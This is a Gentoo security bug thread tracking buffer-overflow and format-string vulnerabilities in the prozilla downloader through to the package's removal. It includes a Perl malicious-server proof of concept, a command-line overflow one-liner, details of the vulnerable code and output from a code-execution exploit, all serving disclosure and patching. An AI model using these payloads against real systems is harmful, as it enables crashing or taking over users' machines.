| Summary: | www-client/prozilla: multiple vulnerabilities -> Remove from tree | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Robert Muchacki (RETIRED) <muchar> | ||||||||||
| Component: | Vulnerabilities | Assignee: | Gentoo Security <security> | ||||||||||
| Status: | RESOLVED FIXED | ||||||||||||
| Severity: | enhancement | CC: | beu, humpback, iyosifov, k, ka0ttic, rich, ruth, sgtphou, sridhar+bugs, treecleaner | ||||||||||
| Priority: | High | ||||||||||||
| Version: | unspecified | ||||||||||||
| Hardware: | All | ||||||||||||
| OS: | Linux | ||||||||||||
| Whiteboard: | B2 [upstream+ masked] koon | ||||||||||||
| Package list: | Runtime testing required: | --- | |||||||||||
| Attachments: |
|
||||||||||||
|
Description
Robert Muchacki (RETIRED)
2004-11-04 13:46:21 UTC
Setting this as an Audit request... rootshell/anyone else in Audit: could you have a look ? I think it is buffer underflow bug, because when one of us compiled prozilla with -fstack-protector he couldn't get on computer ok, it is a little late today: there goes the first: i think, it it possible to crash the program via an permanent_moved directive: it gives a new URL to parse for prozilla: to test, the following (local code) is sufficient: proz http://www.google.com/`perl -e 'print "A"x2580'` Connect OK!Segmentation fault (core dumped) affected function: -- http.c -- /* We will get http info about the file by calling http_fetch_headers with HEAD */ sprintf(buffer, "HEAD %s HTTP/1.0\r\nUser-Agent: %s%s\r\nHost: %s\r\nAccept: */*\r\n%s%s\r\n", u->path, PACKAGE_NAME, VERSION, u->host, referer ? referer : "", wwwauth ? wwwauth : ""); debug_prz("HTTP request= %s\n", buffer); err = http_fetch_headers(sock, u, hs, buffer); close(sock); if (wwwauth) free(wwwauth); /*Check if we authenticated using any user or password and if we were kicked out, if so return HAUTHFAIL */ if (err == HAUTHREQ && (strlen(user) || strlen(passwd))) return HAUTHFAIL; return err; } ... i guess, there are other bugs... will look more closer tomorrow... best regards florian [rootshell] ok, proof of concept:
-- evil_server.pl --
#!/usr/bin/perl
use IO::Socket;
$server = IO::Socket::INET->new(LocalPort => 2040,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10 )
or die "Couldn't be a tcp server on port 2040 : $@\n";
while ($client = $server->accept()) {
sleep 0.1;
print $client "HTTP/1.0 301 Moved permanently\n";
print $client "Location: http://localhost:2040/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";
print $client "Content-Type: text/html\n";
print $client "Server: GWS/2.1\n\n";
}
close($server);
-- eof --
just do a
proz http://localhost:2040/test
... and you will get instant
Connect OK!Segmentation fault (core dumped)
best regards
florian [rootshell]
This application looks like it could use a bit of an audit. I've already found a few array bounds checking bugs, though not as yet exploitable by anyone but the user (by passing an over-long URL at the command line, he can execute code as himself--woohoo!). I'm looking over it a bit now. Looks like similar vulnerable code to that rootshell found already in http-retr.c, lines 360 and 192. Also in ftpsearch.c and probably other places (ftp-retr.c, probably). Basically, if one can set the urlinfo u->file variable that gets passed around, one can take advantage of an assumed maximum file length in a very large number of functions, including those in logfile.c, main.c's ftp_allocate_connections, http_allocate_connections, query_resume_old_download, and pretty much any other place that prints u->file into a buffer of length MAXPATHLEN. Florian, am I right in understanding that the permanent-move directive allows a malicious server to set this variable to a length larger than MAXPATHLEN? If so, patching will hardly be trivial, though fortunately the code is consistent enough that tracking down most vulns should be easy enough. If any of this is incoherent, it's lack of sleep. I'll try to do something about this tomorrow (the bug, not my lack of sleep). hi, yes, you are right the function to build the actual request is called from the commandline (commandline overflow) and if the server gives a permanently moved, the new GET / HEAD request is constructed using the same function. thats basically, why this thing is remote exploitable... one personal note: i looked at the code yesterday for only about 20 minutes; it was ~23:00 hrs... this application is _not_ coded with security in mind... it lacks bounds checking all over the place... krispy: i will look over the code a little; will you please post offending code you found here in bugzilla? i will do the same... best regards florian [rootshell] Created attachment 43329 [details, diff]
...the first diff....
this is the first diff.
just what i found yesterday.
at least, prozilla doesn't segfault any more with the evil_server.pl...
more to come...
best regards
florian [rootshell]
Following some discussion on IRC, Florian and I agree that providing a comprehensive set of fixes for a problem that is spread throughout this code, or, really, being able to provide any assurance of having fixed this, would be pretty time-consuming. Given that prozilla doesn't, as far as I can tell, provide anything that any other downloader doesn't, and given that according to the website development's been dead for 2 years, I say we issue a GLSA and hard-mask it in portage. If the upstream or package maintainer want to fix it, that'd be great, but it doesn't seem worth the effort for us to go about this ourselves. I sure do agree. There is to much of patching and stuff. It'll be better just to write it from the beggining :) Hardmask it and get rid of it :/ I suggest to check if it isn't in /etc/make.conf.example as one of the examples for a downloader instead of wget... Re: Comment #10, it doesn't seem to be in mine. If it's a mess, masking may be the only solution. I don't like publishing masking GLSAs too much, it shows we don't know how/want to patch things like other distribution do. However, masking without issuing a GLSA does not warn existing users... maybe publishing only to gentoo-announce ? I've emailed the upstream maintainer to see if he wants to fix it. Depending on his response, we can either mask it or update it. Metadata is missing, so I don't knoww who the Gentoo package maintainer is... Koon, Re: Comment #12, I don't think it's fair to not make the GLSA as public as possible. PR should not stand in the way of security, and it's beneficial not just to our users but to other users of prozilla to see this. If some other distro is willing to patch prozilla, we can use their patch, but if not, they're going to be masking it just as we are. Alternatively, tell the other distros in advance, see if one of them will patch it, and get their patch :P Looking at this bug in greater detail. I'll be taking care of getting it allllllllllll patched :P. Any progress with this bug? It is still vulnerable - and there is no GLSA out about this... Maybe make a move? Re comment #15 We don't issue GLSA's for things that have not been fixed. That's what I'm talking about - is there any progress with this? If it will last long, I suggest to hard-mask it until it is fixed (atleast). There is an exploitable and maybe exploited vuln in there, so switching to Vulnerability component. Chris said he would look into providing a complete set of fixes, but it's taking time. So I would say we should mask the package and issue a GLSA about it. Re: comment #12, Krispy, any answer from upstream ? Koon: I was comment #13 :P. I said mask from the beginning. No comment from upstream, and if ChrisWhite wants to fix, great, but it'll probably take him some time (track him down and ask, if you want, though). # <solar@gentoo.org> (22 Nov 2004) # www-client/prozilla: multiple vulnerabilities bug #70090 # Security masked and will probably be removed. www-client/prozilla Email sent to vendor-sec. Planned release of masking GLSA : Nov 23, 1400 UTC Portage team : you should remove the Prozilla FETCHCOMMAND from the make.conf.example file, since we probably won't support it anymore.
# Prozilla (turbo downloader)
#FETCHCOMMAND='/usr/bin/proz --no-getch -s ${URI} -P ${DISTDIR}'
#
GLSA 200411-31 Fixed in 2.0.51-r3 with: sed -i "/proz /d;/Prozilla/d" cnf/make.conf* I removed all references of prozilla from cnf/make.conf* using comment #24 http://cia.navi.cx/stats/author/solar/.message/3452530 Please note that I'm working with the authors of prozilla to do a new release (1.3.7.something) with fixes for the security issues. Hopefully that will be released soon. To All. A new release of Prozilla 1.3.x just went out the door. It appears to have corrected the security problems and a few other bugs. Please take a look at it ASAP. The new release is on the prozilla website: http://prozilla.genesys.ro/ There has also been a lot of new developer activity on the prozilla mailing list, and it looks like a new branch has also been started based onlibprozilla, the same library used by ProzGui. Sean Created attachment 49511 [details]
updated ebuild for new prozilla release
updated to the new version of prozilla. Removed 1.3.6 patch for grammer. This
patch has been submitted to the upstream maintainers.
Sent to gentoo-dev a call for a new Gentoo maintainer or herd to take the reborn package under its wing... Koon: Saw your mail in -dev If no one else wants this i'll take it over. I'll also be looking at prozgui and if no one else wants that also i'll take it. 1.3.7.3 is in cvs. The old versions have been removed and I've removed prozilla from package.mask. Arches: this package used to be stable on all arches, so now it's born again, it must be marked stable too. Please test and mark stable so that we can update the masking GLSA. My bad. I've never messed with a package that had been masked this long. I figured something masked that long would re-enter ~arch. Sorry. Stable on x86. 1.3.7.3 works fine here... emerge --info Portage 2.0.51-r15 (default-linux/amd64/2005.0, gcc-3.4.3, glibc-2.3.4.20041102-r0, 2.6.10-gentoo-r6 x86_64) ================================================================= System uname: 2.6.10-gentoo-r6 x86_64 AMD Athlon(tm) 64 Processor 3200+ Gentoo Base System version 1.6.9 Python: dev-lang/python-2.3.4 [2.3.4 (#1, Jan 30 2005, 21:39:15)] dev-lang/python: 2.3.4 sys-devel/autoconf: 2.13, 2.59-r6 sys-devel/automake: 1.5, 1.6.3, 1.7.9-r1, 1.4_p6, 1.9.4, 1.8.5-r3 sys-devel/binutils: 2.15.90.0.1.1-r3, 2.15.92.0.2-r2 sys-devel/libtool: 1.5.10-r4 virtual/os-headers: 2.6.8.1-r4 ACCEPT_KEYWORDS="amd64 ~amd64" AUTOCLEAN="yes" CFLAGS="-march=k8 -mtune=k8 -fomit-frame-pointer -O2 -pipe" CHOST="x86_64-pc-linux-gnu" CONFIG_PROTECT="/etc /usr/kde/2/share/config /usr/kde/3/share/config /usr/lib/X11/xkb /usr/lib/mozilla/defaults/pref /usr/share/config /var/qmail/control" CONFIG_PROTECT_MASK="/etc/gconf /etc/terminfo /etc/env.d" CXXFLAGS="-march=k8 -mtune=k8 -fomit-frame-pointer -O2 -pipe" DISTDIR="/usr/portage/distfiles" FEATURES="autoaddcvs autoconfig buildpkg ccache distlocks fixpackages sandbox" GENTOO_MIRRORS="ftp://gentoo.netnitco.net/pub/mirrors/gentoo/source/ ftp://mirrors.tds.net/gentoo ftp://gentoo.ccccom.com" MAKEOPTS="-j2" PKGDIR="/usr/portage/packages" PORTAGE_TMPDIR="/var/tmp" PORTDIR="/usr/portage" PORTDIR_OVERLAY="/usr/local/portage" SYNC="rsync://rsync.gentoo.org/gentoo-portage" USE="amd64 X acpi alsa bash-completion berkdb bitmap-fonts bonobo bzip2 bzlib cdr crypt css cups dga directfb divx4linux dvd dvdread encode esd ethereal exif f77 fam fbcon flac foomaticdb fortran gdbm geoip gif gimpprint gmp gnome gnomedb gphoto2 gps gstreamer gtk gtk2 gtkhtml howl icq ieee1394 imagemagick imap imlib jabber jp2 jpeg lzw lzw-tiff memlimit mozilla moznocompose moznoirc moznomail mpeg mpi msession msn multislot ncurses nls no-old-linux nodrm nptl nptlonly offensive oggvorbis opengl oscar oss pam pcmcia pcntl pcre pdflib perl pic png pnp posix ppds pthreads python quicktime readline samba sasl sdl session slp speex spell ssl sysvipc szip tcltk tcpd tidy tiff truetype truetype-fonts type1-fonts usb userlocales vim-with-x wxwindows xml2 xmms xpm xrandr xv xvid xvmc yahoo zlib" Unset: ASFLAGS, CBUILD, CTARGET, LANG, LC_ALL, LDFLAGS amd64 stable, thanks hparker sparc stable. ppc please test and mark stable I stumbled across this today: - - - Prozilla vs. Gentoo Security round 2 !@# Sometime ago there was a private exploit for Prozilla and due to some kiddo who randomly 0wned ppl, all ended up with a Gentoo Security Advisory. The exploit got released with a note to another bug in the code. Well the 31337 Gent00 Security Team claimed to have audited the code and put Prozilla back to portage as fixed. The buffer overflow has been fixed (wow what an effort) but the other bug is still there! Well this either means they dont know what format string bugs are and how to spot them (maybe you should better use automated t00lz,if you cant do it yourself, as they would have spotted it for sure :P), or they simply are lazy and dont give a fuck about your security. We support Anti-Disclosure, but this bug isnt of much use anymore and we feel like people should know that they better audit code themselfes before trusting a Gentoo security fix. Even a automated audit application would have done a better job. Hey Gentoo, maybe you should try and enlighten yourself about format bugs, instead of pretending :P But then again, if everyone would audit as g00d as you guys, we'd have a lot more fun ;) - - - http://www.securiteam.com/exploits/5WP082KEUW.html Masked again... This is an ongoing security problem that disguises itself as a connection spamming tool. My opinion is that we should get rid of it. upstream informed of format string exploit (double expansion in message() -> curses_message()). I'll look at doing a new release of prozilla 1.3.7.x to close this further vulnerability. Please CC bug reports to the prozilla mailing list, prozilla@genesys.ro, because I don't know whether the original author (Kalum) is able to read his mail at the moment. *** Bug 81684 has been marked as a duplicate of this bug. *** prozilla 1.3.7.4 is available <http://prozilla.genesys.ro/?p=download>. From NEWS: "* Support for downloading files > 2GB. * Fix a remotely exploitable format string security bug. * Fix bugs in the handling of bad command-line options. Previously prozilla would return the success status code, even though it failed. Now it returns failure. * Fix a segfault. This occurred when prozilla could not assemble a file due to lack of disk space and the user chose to abort the operation. * Fix some typos." I really need prozilla - I'm on a shared, non-packet-shaped network - so I was concerned when the security vulnerabilities caused the masking of the package. I modified the ebuild that was in portage to come up with one that works with 1.3.7.4 . WARNING: the ebuild wouldn't patch the source with prozilla-1.3.7.3-gentoo.diff or prozilla-expands-format-twice.diff so I commented out those lines. I don't know if that has any major repercussions... would the good folks here please test ? cheers I really need prozilla - I'm on a shared, non-packet-shaped network - so I was concerned when the security vulnerabilities caused the masking of the package. I modified the ebuild that was in portage to come up with one that works with 1.3.7.4 . WARNING: the ebuild wouldn't patch the source with prozilla-1.3.7.3-gentoo.diff or prozilla-expands-format-twice.diff so I commented out those lines. I don't know if that has any major repercussions... would the good folks here please test ? cheers Created attachment 54684 [details]
Prozilla 1.3.7.4 ebuild
Auditors: could you please have a look at the latest incarnation ? If you think the code is a mess, we probably won't put it back in portage anytime soon... Will anything happen again on this bug? Otherwise I'm going to remove ppc from the CC list. I had a quick look at the latest prozilla release and spotted a bug that would result in arbitrary code execution if an attacker can successfully poison the dns cache or any http cache. Here's an exploit, that works here. $ proz --ftpsearch http://gentoo.osuosl.org/releases/x86/2005.1/installcd/ install-x86-universal-2005.1.iso Connect OK! uid=1000(taviso) gid=100(users) groups=5(tty),6(disk),10(wheel),16(cron) Created attachment 67521 [details]
prozilla poc
The bug is the incorrect size passed to strncpy() in get_string_ahref() when parsing ftpsearch results, the target is a stack buffer allowing easy exploitation. http cache or dns poisoning can usually be considered a trivial obstacle to exploitation. p2p will you inform upstream? Let's kill it and be done with it. I said it's an ongoing security problem that disguises itself as a connection spamming tool... Now I think it's a trojan horse that disguises itself as a connection spamming tool. upstream informed. (In reply to comment #53) > Let's kill it and be done with it. I said it's an ongoing security problem that > disguises itself as a connection spamming tool... Now I think it's a trojan > horse that disguises itself as a connection spamming tool. Agreed. You guys should've kept me from saving it the first time :) Closing for now. Sorry, not familiar with your whiteboard syntax ;) Either way I will send a quick mail to dev about this and punt it if there is no response, it's been masked forever. @antarus - time to finally punt this. ;) Thanks. removed |
